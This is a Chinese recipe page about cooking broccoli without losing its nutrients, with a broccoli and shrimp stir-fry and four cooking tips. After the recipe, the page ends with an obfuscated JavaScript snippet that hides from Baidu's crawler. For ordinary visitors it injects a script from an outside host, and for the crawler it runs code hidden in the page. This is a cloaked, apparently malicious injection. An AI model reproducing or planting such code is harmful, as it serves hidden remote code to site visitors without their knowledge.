當前位置:首頁 > 飲食 > 烹飪技巧 > 正文

留住西蘭花營養(yǎng)的烹飪方法

2016-07-23 19:39:04  來源:360常識網(wǎng)   熱度:
導語:吃的時候要多嚼幾次,這樣才更有利于營養(yǎng)的吸收;西蘭花煮后顏色會變的更加鮮艷,但要注意的是,在燙西蘭花時,時間不宜太長,否則失去脆感,拌出的菜也會大打折扣。

留住西蘭花營養(yǎng)的烹飪方法

留住西蘭花營養(yǎng)的烹飪方法

留住西蘭花營養(yǎng)的烹飪方法

西蘭花炒蝦仁

材料:西蘭花,小蝦仁100克,蒜末1/2瓣,紅辣椒1只,色拉油1大匙,酒1大匙,鹽適量。

做法

1、西蘭花去粗莖,分成小朵;粗莖部分削除厚皮,切成恰可入口的大??;在一鍋沸水中添加少許鹽,放進西蘭花氽燙,再用冷水過一下,撈出瀝水;

2、紅辣椒去蒂去籽,切成粗末備用;

3、將色拉油與蒜末放進平底鍋中,用小火爆香。放入紅辣椒與蝦仁,用中火拌炒,待蝦仁變色,可淋灑少許酒;放入西蘭花,用大火迅速爆炒,再添加1/2小匙鹽調(diào)味即可。

為了保證西蘭花的營養(yǎng)最大化,要注意以下幾點:

1、菜花雖然營養(yǎng)豐富,但常有殘留的農(nóng)藥,還容易生菜蟲,所以在吃之前,可將菜花放在鹽水里浸泡幾分鐘,菜蟲就跑出來了,還可有助于去除殘留農(nóng)藥;

2、吃的時候要多嚼幾次,這樣才更有利于營養(yǎng)的吸收;

3、西蘭花煮后顏色會變的更加鮮艷,但要注意的是,在燙西蘭花時,時間不宜太長,否則失去脆感,拌出的菜也會大打折扣;

4、西蘭花焯水后,應放入涼開水內(nèi)過涼,撈出瀝凈水再用,燒煮和加鹽時間也不宜過長,才不致喪失和破壞防癌抗癌的營養(yǎng)成分。

轉(zhuǎn)載申明:360常識網(wǎng),歡迎分享,轉(zhuǎn)載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}